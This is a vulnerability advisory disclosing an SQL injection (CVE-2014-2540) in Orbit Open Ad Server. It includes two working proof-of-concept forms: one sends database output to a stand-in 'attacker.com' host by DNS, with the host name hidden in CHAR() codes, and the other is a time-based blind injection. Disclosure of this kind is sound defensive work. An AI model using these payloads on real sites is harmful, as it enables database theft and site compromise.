SQL Injection in Orbit Open Ad Server

High-Tech Bridge Security Research Lab discovered vulnerability in Orbit Open Ad Server, which can be exploited to perform SQL Injection attacks, alter SQL requests to database of vulnerable application and potentially gain control over the vulnerable website.

1. SQL Injection in Orbit Open Ad Server: CVE-2014-2540
   Input passed via the “site_directory_sort_field” HTTP POST parameter to “/guest/site_directory” URL is not properly sanitised before being used in SQL query.
   This can be exploited to manipulate SQL queries by injecting arbitrary SQL commands.
   The PoC code below is based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows system. The PoC will send a DNS request demanding IP addess for version() (or any other sensetive output from the database) subdomain of “.attacker.com” (a domain name, DNS server of which is controlled by the attacker):
   <form action=“http://[host]/guest/site_directory” method=“post” name=“main”>
   <input type=“hidden” name=“active_form” value=“site_directory_form”>
   <input type=“hidden” name=“ad_type_filter” value=“text”>
   <input type=“hidden” name=“category_filter” value=“1”>
   <input type=“hidden” name=“cost_model_filter” value=“cpm”>
   <input type=“hidden” name=“form_mode” value=“save”>
   <input type=“hidden” name=“image_size_filter” value=“12”>
   <input type=“hidden” name=“keyword_filter” value=“1”>
   <input type=“hidden” name=“site_directory_page” value=“1”>
   <input type=“hidden” name=“site_directory_per_page” value=“10”>
   <input type=“hidden” name=“site_directory_sort_direction” value=“asc”>
   <input type=“hidden” name=“site_directory_sort_field” value=“(select load_file(CONCAT(CHAR(92), CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107) ,CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102 ),CHAR(111), CHAR(111),CHAR(98),CHAR(97),CHAR(114))))”>
   <input type=“submit” id=“btn”>
   </form>
   The second PoC code works against any platform (UNIX/Windows) and uses blind SQL injection brute-force (dichotomy) technique to extract data from the database:
   <form action=“http://[host]/guest/site_directory” method=“post” name=“main”>
   <input type=“hidden” name=“active_form” value=“site_directory_form”>
   <input type=“hidden” name=“ad_type_filter” value=“text”>
   <input type=“hidden” name=“category_filter” value=“1”>
   <input type=“hidden” name=“cost_model_filter” value=“cpm”>
   <input type=“hidden” name=“form_mode” value=“save”>
   <input type=“hidden” name=“image_size_filter” value=“12”>
   <input type=“hidden” name=“keyword_filter” value=“1”>
   <input type=“hidden” name=“site_directory_page” value=“1”>
   <input type=“hidden” name=“site_directory_per_page” value=“10”>
   <input type=“hidden” name=“site_directory_sort_direction” value=“asc”>
   <input type=“hidden” name=“site_directory_sort_field” value=“(SELECT IF(ASCII(SUBSTRING((SELECT USER()),1,1))>=0,1, BENCHMARK(22000000,MD5(NOW()))))”>
   <input type=“submit” id=“btn”>
   </form>